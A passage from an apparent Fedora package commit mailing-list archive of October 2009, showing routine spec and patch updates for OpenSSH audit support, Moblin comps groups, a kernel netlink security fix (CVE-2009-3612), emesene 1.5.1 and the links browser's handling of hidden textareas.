--- openssh-5.3p1/loginrec.h.audit	2006-08-05 04:39:40.000000000 +0200
+++ openssh-5.3p1/loginrec.h	2009-10-11 13:04:28.000000000 +0200
@@ -127,5 +127,9 @@ char *line_stripname(char *dst, const ch
 char *line_abbrevname(char *dst, const char *src, int dstsize);
 
 void record_failed_login(const char *, const char *, const char *);
+#ifdef HAVE_LINUX_AUDIT
+int linux_audit_record_event(int uid, const char *username,
+	const char *hostname, const char *ip, const char *ttyn, int success);
+#endif /* HAVE_LINUX_AUDIT */
 
 #endif /* _HAVE_LOGINREC_H_ */


Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/openssh.spec,v
retrieving revision 1.172
retrieving revision 1.173
diff -u -p -r1.172 -r1.173
--- openssh.spec	2 Oct 2009 13:30:35 -0000	1.172
+++ openssh.spec	17 Oct 2009 07:46:49 -0000	1.173
@@ -63,7 +63,7 @@
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
 Version: 5.3p1
-Release: 2%{?dist}%{?rescue_rel}
+Release: 3%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
 #Source1: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz.asc
@@ -79,6 +79,7 @@ Patch2: openssh-5.3p1-skip-initial.patch
 Patch4: openssh-5.2p1-vendor.patch
 Patch12: openssh-5.2p1-selinux.patch
 Patch13: openssh-5.3p1-mls.patch
+Patch16: openssh-5.3p1-audit.patch
 Patch18: openssh-5.0p1-pam_selinux.patch
 Patch19: openssh-5.2p1-sesftp.patch
 Patch22: openssh-3.9p1-askpass-keep-above.patch
@@ -207,6 +208,7 @@ an X11 passphrase dialog for OpenSSH.
 #SELinux
 %patch12 -p1 -b .selinux
 %patch13 -p1 -b .mls
+%patch16 -p1 -b .audit
 %patch18 -p1 -b .pam_selinux
 %patch19 -p1 -b .sesftp
 %endif
@@ -460,6 +462,9 @@ fi
 %endif
 
 %changelog
+* Fri Oct 16 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-3
+- Reenable audit.
+
 * Fri Oct  2 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-2
 - Upgrade to new wersion 5.3p1
 



From pbrobinson at fedoraproject.org  Sat Oct 17 10:50:20 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 17 Oct 2009 10:50:20 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.154,1.155 comps-f13.xml.in,1.41,1.42
Message-ID: <20091017105020.DB52111C029F@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23169

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
- update moblin packages


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.154
retrieving revision 1.155
diff -u -p -r1.154 -r1.155
--- comps-f12.xml.in	15 Oct 2009 21:17:50 -0000	1.154
+++ comps-f12.xml.in	17 Oct 2009 10:50:19 -0000	1.155
@@ -4331,6 +4331,7 @@
       <packagereq type="mandatory">network-manager-netbook</packagereq>
       <packagereq type="default">anjal</packagereq>
       <packagereq type="default">hornsey</packagereq>
+      <packagereq type="default">syncevolution-moblin</packagereq>
     </packagelist>
   </group>
   <group>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- comps-f13.xml.in	15 Oct 2009 21:17:50 -0000	1.41
+++ comps-f13.xml.in	17 Oct 2009 10:50:19 -0000	1.42
@@ -4289,10 +4289,12 @@
     <packagelist>
       <packagereq type="mandatory">bisho</packagereq>
       <packagereq type="mandatory">bognor-regis</packagereq>
+      <packagereq type="mandatory">dalston</packagereq>
       <packagereq type="mandatory">moblin-cursor-theme</packagereq>
       <packagereq type="mandatory">moblin-gtk-engine</packagereq>
       <packagereq type="mandatory">moblin-icon-theme</packagereq>
       <packagereq type="mandatory">moblin-panel-applications</packagereq>
+      <packagereq type="mandatory">moblin-panel-media</packagereq>
       <packagereq type="mandatory">moblin-panel-myzone</packagereq>
       <packagereq type="mandatory">moblin-panel-pasteboard</packagereq>
       <packagereq type="mandatory">moblin-panel-people</packagereq>
@@ -4302,6 +4304,8 @@
       <packagereq type="mandatory">mutter</packagereq>
       <packagereq type="mandatory">network-manager-netbook</packagereq>
       <packagereq type="default">anjal</packagereq>
+      <packagereq type="default">hornsey</packagereq>
+      <packagereq type="default">syncevolution-moblin</packagereq>
     </packagelist>
   </group>
   <group>



From cebbert at fedoraproject.org  Sat Oct 17 11:37:46 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 11:37:46 +0000 (UTC)
Subject: rpms/kernel/F-10 netlink-fix-typo-in-initialization.patch, NONE,
	1.1.2.1 kernel.spec, 1.1206.2.104, 1.1206.2.105
Message-ID: <20091017113746.62BA611C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32290

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	netlink-fix-typo-in-initialization.patch 
Log Message:
Fix uninitialized data leak in netlink (CVE-2009-3612)

netlink-fix-typo-in-initialization.patch:
 cls_api.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netlink-fix-typo-in-initialization.patch ---
From: Jiri Pirko <jpirko at redhat.com>
Date: Thu, 8 Oct 2009 08:21:46 +0000 (-0700)
Subject: netlink: fix typo in initialization
X-Git-Tag: v2.6.32-rc5~13^2~33
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=ad61df918c44316940404891d5082c63e79c256a

netlink: fix typo in initialization

Commit 9ef1d4c7c7aca1cd436612b6ca785b726ffb8ed8 ("[NETLINK]: Missing
initializations in dumped data") introduced a typo in
initialization. This patch fixes this.

Signed-off-by: Jiri Pirko <jpirko at redhat.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
---

diff --git a/net/sched/cls_api.c b/net/sched/cls_api.c
index 6a53694..7cf6c0f 100644
--- a/net/sched/cls_api.c
+++ b/net/sched/cls_api.c
@@ -350,7 +350,7 @@ static int tcf_fill_node(struct sk_buff *skb, struct tcf_proto *tp,
 	tcm = NLMSG_DATA(nlh);
 	tcm->tcm_family = AF_UNSPEC;
 	tcm->tcm__pad1 = 0;
-	tcm->tcm__pad1 = 0;
+	tcm->tcm__pad2 = 0;
 	tcm->tcm_ifindex = qdisc_dev(tp->q)->ifindex;
 	tcm->tcm_parent = tp->classid;
 	tcm->tcm_info = TC_H_MAKE(tp->prio, tp->protocol);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.104
retrieving revision 1.1206.2.105
diff -u -p -r1.1206.2.104 -r1.1206.2.105
--- kernel.spec	13 Oct 2009 01:19:20 -0000	1.1206.2.104
+++ kernel.spec	17 Oct 2009 11:37:44 -0000	1.1206.2.105
@@ -800,6 +800,9 @@ Patch15300: irda-add-irda-skb-cb-qdisc-r
 # Fix ext3 file corruption in some cases
 Patch15400: jbd-fix-return-value-of-journal-start-commit.patch
 
+# netlink security fix (CVE-2009-3612)
+Patch16000: netlink-fix-typo-in-initialization.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1449,6 +1452,9 @@ ApplyPatch irda-add-irda-skb-cb-qdisc-re
 # Fix ext3 file corruption in some cases
 ApplyPatch jbd-fix-return-value-of-journal-start-commit.patch
 
+# netlink security fix (CVE-2009-3612)
+ApplyPatch netlink-fix-typo-in-initialization.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2024,6 +2030,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.105
+- Fix uninitialized data leak in netlink (CVE-2009-3612)
+
 * Mon Oct 12 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.104
 - Add jbd fix for file corruption (the jbd2 version is already in.)
 



From allisson at fedoraproject.org  Sat Oct 17 11:52:58 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Sat, 17 Oct 2009 11:52:58 +0000 (UTC)
Subject: rpms/emesene/devel .cvsignore, 1.5, 1.6 emesene.spec, 1.11,
	1.12 import.log, 1.3, 1.4 sources, 1.5, 1.6
Message-ID: <20091017115258.B1C4311C00EC@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/emesene/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2455/devel

Modified Files:
	.cvsignore emesene.spec import.log sources 
Log Message:

Update to 1.5.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	25 Aug 2009 05:12:43 -0000	1.5
+++ .cvsignore	17 Oct 2009 11:52:58 -0000	1.6
@@ -1 +1 @@
-emesene-1.5.tar.gz
+emesene-1.5.1.tar.gz


Index: emesene.spec
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/devel/emesene.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- emesene.spec	8 Sep 2009 22:21:56 -0000	1.11
+++ emesene.spec	17 Oct 2009 11:52:58 -0000	1.12
@@ -1,13 +1,13 @@
 Name:           emesene
-Version:        1.5
-Release:        4%{?dist}
+Version:        1.5.1
+Release:        1%{?dist}
 Summary:        Instant messaging client for Windows Live Messenger network
 
 Group:          Applications/Internet
 License:        GPLv2+ and LGPLv2+
 URL:            http://emesene.org
 Source0:        http://downloads.sourceforge.net/emesene/%{name}-%{version}.tar.gz
-Patch0:         %{name}-%{version}-pythonpath.patch
+Patch0:         %{name}-1.5-pythonpath.patch
 BuildRequires:  desktop-file-utils, gettext, python-devel
 Requires: gnome-python2-extras
 Requires: python pygtk2
@@ -92,7 +92,7 @@ fi
 
 %files -f %name.lang
 %defattr(-,root,root)
-%doc README COPYING
+%doc README COPYING docs/TRANSLATORS
 %attr(755,root,root) %_bindir/%name
 %{_mandir}/man1/%name.1*
 %dir %{_datadir}/%name
@@ -112,6 +112,11 @@ fi
 %{_datadir}/%name/smilies
 %{_datadir}/%name/sound_themes
 %{_datadir}/%name/themes
+%{_datadir}/%name/pygif
+%attr(755,root,root) %{_datadir}/%name/pygif/AnimatedGifResizer.py
+%{_datadir}/%name/pyisf
+%exclude %{_datadir}/%name/docs
+%exclude %{_datadir}/%name/MANIFEST.in
 %dir %{_datadir}/%name/po
 %{_datadir}/icons/hicolor/48x48/apps/emesene.png
 %{_datadir}/icons/hicolor/scalable/apps/emesene.png
@@ -119,6 +124,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Allisson Azevedo <allisson at gmail.com> - 1.5.1-1
+- Update to 1.5.1.
+
 * Tue Sep  8 2009 Allisson Azevedo <allisson at gmail.com> - 1.5-4
 - Fix libmimic.so location for x86_64 and ppc64.
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	8 Sep 2009 22:21:56 -0000	1.3
+++ import.log	17 Oct 2009 11:52:58 -0000	1.4
@@ -1,3 +1,4 @@
 emesene-1_5-2_fc11:HEAD:emesene-1.5-2.fc11.src.rpm:1251177087
 emesene-1_5-3_fc11:HEAD:emesene-1.5-3.fc11.src.rpm:1251208986
 emesene-1_5-4_fc11:HEAD:emesene-1.5-4.fc11.src.rpm:1252448480
+emesene-1_5_1-1_fc11:HEAD:emesene-1.5.1-1.fc11.src.rpm:1255780288


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	25 Aug 2009 05:12:43 -0000	1.5
+++ sources	17 Oct 2009 11:52:58 -0000	1.6
@@ -1 +1 @@
-b7dffa8f113ab1f3b90e3e2a48001007  emesene-1.5.tar.gz
+2f0a3c8af864a21cb2e6a00b51c997ab  emesene-1.5.1.tar.gz



From allisson at fedoraproject.org  Sat Oct 17 12:05:01 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Sat, 17 Oct 2009 12:05:01 +0000 (UTC)
Subject: rpms/emesene/F-12 .cvsignore, 1.5, 1.6 emesene.spec, 1.11,
	1.12 import.log, 1.3, 1.4 sources, 1.5, 1.6
Message-ID: <20091017120501.2A34111C00EC@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/emesene/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5849/F-12

Modified Files:
	.cvsignore emesene.spec import.log sources 
Log Message:

Update to 1.5.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	25 Aug 2009 05:12:43 -0000	1.5
+++ .cvsignore	17 Oct 2009 12:05:00 -0000	1.6
@@ -1 +1 @@
-emesene-1.5.tar.gz
+emesene-1.5.1.tar.gz


Index: emesene.spec
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-12/emesene.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- emesene.spec	8 Sep 2009 22:21:56 -0000	1.11
+++ emesene.spec	17 Oct 2009 12:05:00 -0000	1.12
@@ -1,13 +1,13 @@
 Name:           emesene
-Version:        1.5
-Release:        4%{?dist}
+Version:        1.5.1
+Release:        1%{?dist}
 Summary:        Instant messaging client for Windows Live Messenger network
 
 Group:          Applications/Internet
 License:        GPLv2+ and LGPLv2+
 URL:            http://emesene.org
 Source0:        http://downloads.sourceforge.net/emesene/%{name}-%{version}.tar.gz
-Patch0:         %{name}-%{version}-pythonpath.patch
+Patch0:         %{name}-1.5-pythonpath.patch
 BuildRequires:  desktop-file-utils, gettext, python-devel
 Requires: gnome-python2-extras
 Requires: python pygtk2
@@ -92,7 +92,7 @@ fi
 
 %files -f %name.lang
 %defattr(-,root,root)
-%doc README COPYING
+%doc README COPYING docs/TRANSLATORS
 %attr(755,root,root) %_bindir/%name
 %{_mandir}/man1/%name.1*
 %dir %{_datadir}/%name
@@ -112,6 +112,11 @@ fi
 %{_datadir}/%name/smilies
 %{_datadir}/%name/sound_themes
 %{_datadir}/%name/themes
+%{_datadir}/%name/pygif
+%attr(755,root,root) %{_datadir}/%name/pygif/AnimatedGifResizer.py
+%{_datadir}/%name/pyisf
+%exclude %{_datadir}/%name/docs
+%exclude %{_datadir}/%name/MANIFEST.in
 %dir %{_datadir}/%name/po
 %{_datadir}/icons/hicolor/48x48/apps/emesene.png
 %{_datadir}/icons/hicolor/scalable/apps/emesene.png
@@ -119,6 +124,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Allisson Azevedo <allisson at gmail.com> - 1.5.1-1
+- Update to 1.5.1.
+
 * Tue Sep  8 2009 Allisson Azevedo <allisson at gmail.com> - 1.5-4
 - Fix libmimic.so location for x86_64 and ppc64.
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-12/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	8 Sep 2009 22:21:56 -0000	1.3
+++ import.log	17 Oct 2009 12:05:00 -0000	1.4
@@ -1,3 +1,4 @@
 emesene-1_5-2_fc11:HEAD:emesene-1.5-2.fc11.src.rpm:1251177087
 emesene-1_5-3_fc11:HEAD:emesene-1.5-3.fc11.src.rpm:1251208986
 emesene-1_5-4_fc11:HEAD:emesene-1.5-4.fc11.src.rpm:1252448480
+emesene-1_5_1-1_fc11:F-12:emesene-1.5.1-1.fc11.src.rpm:1255781018


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	25 Aug 2009 05:12:43 -0000	1.5
+++ sources	17 Oct 2009 12:05:00 -0000	1.6
@@ -1 +1 @@
-b7dffa8f113ab1f3b90e3e2a48001007  emesene-1.5.tar.gz
+2f0a3c8af864a21cb2e6a00b51c997ab  emesene-1.5.1.tar.gz



From allisson at fedoraproject.org  Sat Oct 17 12:08:12 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Sat, 17 Oct 2009 12:08:12 +0000 (UTC)
Subject: rpms/emesene/F-11 .cvsignore, 1.5, 1.6 emesene.spec, 1.10,
	1.11 import.log, 1.3, 1.4 sources, 1.5, 1.6
Message-ID: <20091017120812.34DCB11C00EC@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/emesene/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6289/F-11

Modified Files:
	.cvsignore emesene.spec import.log sources 
Log Message:

Update to 1.5.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	25 Aug 2009 05:14:46 -0000	1.5
+++ .cvsignore	17 Oct 2009 12:08:11 -0000	1.6
@@ -1 +1 @@
-emesene-1.5.tar.gz
+emesene-1.5.1.tar.gz


Index: emesene.spec
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-11/emesene.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- emesene.spec	8 Sep 2009 22:25:21 -0000	1.10
+++ emesene.spec	17 Oct 2009 12:08:11 -0000	1.11
@@ -1,13 +1,13 @@
 Name:           emesene
-Version:        1.5
-Release:        4%{?dist}
+Version:        1.5.1
+Release:        1%{?dist}
 Summary:        Instant messaging client for Windows Live Messenger network
 
 Group:          Applications/Internet
 License:        GPLv2+ and LGPLv2+
 URL:            http://emesene.org
 Source0:        http://downloads.sourceforge.net/emesene/%{name}-%{version}.tar.gz
-Patch0:         %{name}-%{version}-pythonpath.patch
+Patch0:         %{name}-1.5-pythonpath.patch
 BuildRequires:  desktop-file-utils, gettext, python-devel
 Requires: gnome-python2-extras
 Requires: python pygtk2
@@ -92,7 +92,7 @@ fi
 
 %files -f %name.lang
 %defattr(-,root,root)
-%doc README COPYING
+%doc README COPYING docs/TRANSLATORS
 %attr(755,root,root) %_bindir/%name
 %{_mandir}/man1/%name.1*
 %dir %{_datadir}/%name
@@ -112,13 +112,20 @@ fi
 %{_datadir}/%name/smilies
 %{_datadir}/%name/sound_themes
 %{_datadir}/%name/themes
+%{_datadir}/%name/pygif
+%attr(755,root,root) %{_datadir}/%name/pygif/AnimatedGifResizer.py
+%{_datadir}/%name/pyisf
+%exclude %{_datadir}/%name/docs
+%exclude %{_datadir}/%name/MANIFEST.in
 %dir %{_datadir}/%name/po
 %{_datadir}/icons/hicolor/48x48/apps/emesene.png
 %{_datadir}/icons/hicolor/scalable/apps/emesene.png
 %{_datadir}/applications/%name.desktop
 
-
 %changelog
+* Fri Oct 16 2009 Allisson Azevedo <allisson at gmail.com> - 1.5.1-1
+- Update to 1.5.1.
+
 * Tue Sep  8 2009 Allisson Azevedo <allisson at gmail.com> - 1.5-4
 - Fix libmimic.so location for x86_64 and ppc64.
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	8 Sep 2009 22:25:21 -0000	1.3
+++ import.log	17 Oct 2009 12:08:11 -0000	1.4
@@ -1,3 +1,4 @@
 emesene-1_5-2_fc11:F-11:emesene-1.5-2.fc11.src.rpm:1251177266
 emesene-1_5-3_fc11:F-11:emesene-1.5-3.fc11.src.rpm:1251209092
 emesene-1_5-4_fc11:F-11:emesene-1.5-4.fc11.src.rpm:1252448702
+emesene-1_5_1-1_fc11:F-11:emesene-1.5.1-1.fc11.src.rpm:1255781181


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	25 Aug 2009 05:14:46 -0000	1.5
+++ sources	17 Oct 2009 12:08:11 -0000	1.6
@@ -1 +1 @@
-b7dffa8f113ab1f3b90e3e2a48001007  emesene-1.5.tar.gz
+2f0a3c8af864a21cb2e6a00b51c997ab  emesene-1.5.1.tar.gz



From allisson at fedoraproject.org  Sat Oct 17 12:11:41 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Sat, 17 Oct 2009 12:11:41 +0000 (UTC)
Subject: rpms/emesene/F-10 .cvsignore, 1.5, 1.6 emesene.spec, 1.8,
	1.9 import.log, 1.3, 1.4 sources, 1.5, 1.6
Message-ID: <20091017121141.D27D411C00EC@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/emesene/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6801/F-10

Modified Files:
	.cvsignore emesene.spec import.log sources 
Log Message:

Update to 1.5.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-10/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	25 Aug 2009 05:16:08 -0000	1.5
+++ .cvsignore	17 Oct 2009 12:11:41 -0000	1.6
@@ -1 +1 @@
-emesene-1.5.tar.gz
+emesene-1.5.1.tar.gz


Index: emesene.spec
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-10/emesene.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- emesene.spec	8 Sep 2009 22:28:37 -0000	1.8
+++ emesene.spec	17 Oct 2009 12:11:41 -0000	1.9
@@ -1,13 +1,13 @@
 Name:           emesene
-Version:        1.5
-Release:        4%{?dist}
+Version:        1.5.1
+Release:        1%{?dist}
 Summary:        Instant messaging client for Windows Live Messenger network
 
 Group:          Applications/Internet
 License:        GPLv2+ and LGPLv2+
 URL:            http://emesene.org
 Source0:        http://downloads.sourceforge.net/emesene/%{name}-%{version}.tar.gz
-Patch0:         %{name}-%{version}-pythonpath.patch
+Patch0:         %{name}-1.5-pythonpath.patch
 BuildRequires:  desktop-file-utils, gettext, python-devel
 Requires: gnome-python2-extras
 Requires: python pygtk2
@@ -92,7 +92,7 @@ fi
 
 %files -f %name.lang
 %defattr(-,root,root)
-%doc README COPYING
+%doc README COPYING docs/TRANSLATORS
 %attr(755,root,root) %_bindir/%name
 %{_mandir}/man1/%name.1*
 %dir %{_datadir}/%name
@@ -112,6 +112,11 @@ fi
 %{_datadir}/%name/smilies
 %{_datadir}/%name/sound_themes
 %{_datadir}/%name/themes
+%{_datadir}/%name/pygif
+%attr(755,root,root) %{_datadir}/%name/pygif/AnimatedGifResizer.py
+%{_datadir}/%name/pyisf
+%exclude %{_datadir}/%name/docs
+%exclude %{_datadir}/%name/MANIFEST.in
 %dir %{_datadir}/%name/po
 %{_datadir}/icons/hicolor/48x48/apps/emesene.png
 %{_datadir}/icons/hicolor/scalable/apps/emesene.png
@@ -119,6 +124,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Allisson Azevedo <allisson at gmail.com> - 1.5.1-1
+- Update to 1.5.1.
+
 * Tue Sep  8 2009 Allisson Azevedo <allisson at gmail.com> - 1.5-4
 - Fix libmimic.so location for x86_64 and ppc64.
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-10/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	8 Sep 2009 22:28:37 -0000	1.3
+++ import.log	17 Oct 2009 12:11:41 -0000	1.4
@@ -1,3 +1,4 @@
 emesene-1_5-2_fc11:F-10:emesene-1.5-2.fc11.src.rpm:1251177353
 emesene-1_5-3_fc11:F-10:emesene-1.5-3.fc11.src.rpm:1251209217
 emesene-1_5-4_fc11:F-10:emesene-1.5-4.fc11.src.rpm:1252448879
+emesene-1_5_1-1_fc11:F-10:emesene-1.5.1-1.fc11.src.rpm:1255781386


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/emesene/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	25 Aug 2009 05:16:08 -0000	1.5
+++ sources	17 Oct 2009 12:11:41 -0000	1.6
@@ -1 +1 @@
-b7dffa8f113ab1f3b90e3e2a48001007  emesene-1.5.tar.gz
+2f0a3c8af864a21cb2e6a00b51c997ab  emesene-1.5.1.tar.gz



From lkundrak at fedoraproject.org  Sat Oct 17 12:14:04 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Sat, 17 Oct 2009 12:14:04 +0000 (UTC)
Subject: rpms/links/devel import.log, NONE, 1.1 links-2.2-google.patch, NONE,
	1.1 links.spec, 1.4, 1.5
Message-ID: <20091017121404.1E3A511C00EC@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/links/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7421/devel

Modified Files:
	links.spec 
Added Files:
	import.log links-2.2-google.patch 
Log Message:
* Sat Oct 17 2009 Lubomir Rintel <lkundrak at v3.sk> - 2.2-11
- Do not display textareas hidden by CSS



--- NEW FILE import.log ---
links-2_2-11_fc12:HEAD:links-2.2-11.fc12.src.rpm:1255781606

links-2.2-google.patch:
 html.c |   15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

--- NEW FILE links-2.2-google.patch ---
>From f6e442534448ece862a288216efd259cc53b9596 Mon Sep 17 00:00:00 2001
From: Lubomir Rintel <lkundrak at v3.sk>
Date: Sat, 17 Oct 2009 14:06:51 +0200
Subject: [PATCH] Display Google correctly

Do not display a TEXTAREA which has STYLE attribute that matches
"display:.*none" even when we don't do CSS, so that Google looks nice.
---
 html.c |   14 +++++++++++++-
 1 files changed, 13 insertions(+), 1 deletions(-)

diff --git a/html.c b/html.c
index b0f5918..26f6e99 100644
--- a/html.c
+++ b/html.c
@@ -2143,7 +2143,7 @@ void html_textarea(unsigned char *a)
 void do_html_textarea(unsigned char *attr, unsigned char *html, unsigned char *eof, unsigned char **end, void *f)
 {
 	struct form_control *fc;
-	unsigned char *p, *t_name, *w;
+	unsigned char *p, *t_name, *w, *style;
 	int t_namelen;
 	int cols, rows;
 	int i;
@@ -2172,6 +2172,16 @@ void do_html_textarea(unsigned char *attr, unsigned char *html, unsigned char *e
 	fc->type = FC_TEXTAREA;;
 	fc->ro = has_attr(attr, "disabled") ? 2 : has_attr(attr, "readonly") ? 1 : 0;
 	fc->default_value = memacpy(html, p - html);
+
+	/* Half-assed way to hide textareas that have display CSS property set to none,
+         * even as we don't do CSS, so that we display Google nicely */
+	style = get_attr_val(attr, "style");
+	if (style) style = (unsigned char *)strcasestr(style, "display");
+	if (style) style += strlen("display");
+	while (style && *style && isblank(*style)) style++;
+	if (style && *style == ':') do { ++style; } while (style && *style && isblank(*style));
+	if (style && style == (unsigned char *)strcasestr(style, "none")) goto hid;
+	
 	if ((cols = get_num(attr, "cols")) <= 5) cols = HTML_DEFAULT_TEXTAREA_WIDTH;
 	cols++;
 	if ((rows = get_num(attr, "rows")) <= 0) rows = HTML_DEFAULT_TEXTAREA_HEIGHT;
@@ -2212,6 +2222,8 @@ void do_html_textarea(unsigned char *attr, unsigned char *html, unsigned char *e
 	kill_html_stack_item(&html_top);
 	if (rows > 1) ln_break(1, line_break_f, f);
 	else put_chrs(" ", 1, put_chars_f, f);
+
+	hid:
 	special_f(f, SP_CONTROL, fc);
 }
 
-- 
1.6.5.rc2



Index: links.spec
===================================================================
RCS file: /cvs/pkgs/rpms/links/devel/links.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- links.spec	25 Jul 2009 11:06:11 -0000	1.4
+++ links.spec	17 Oct 2009 12:14:03 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           links
 Version:        2.2
-Release:        10%{?dist}
+Release:        11%{?dist}
 Epoch:          1
 Summary:        Web browser running in both graphics and text mode
 
@@ -11,6 +11,8 @@ Source0:        http://links.twibright.c
 Source1:        links.desktop
 Patch0:         links-2.2-nss.patch
 Patch1:         links-2.2-ssl-verify.patch
+# Not sent upstream, since they would probably break my nose for this
+Patch2:         links-2.2-google.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libpng-devel
@@ -45,6 +47,7 @@ scrolling.
 %setup -q
 %patch0 -p1 -b .nss
 %patch1 -p1 -b .verify-ssl
+%patch2 -p1 -b .google
 
 
 %build
@@ -107,6 +110,9 @@ exit 0
 
 
 %changelog
+* Sat Oct 17 2009 Lubomir Rintel <lkundrak at v3.sk> - 2.2-11
+- Do not display textareas hidden by CSS
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:2.2-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Sat Oct 17 12:37:34 2009
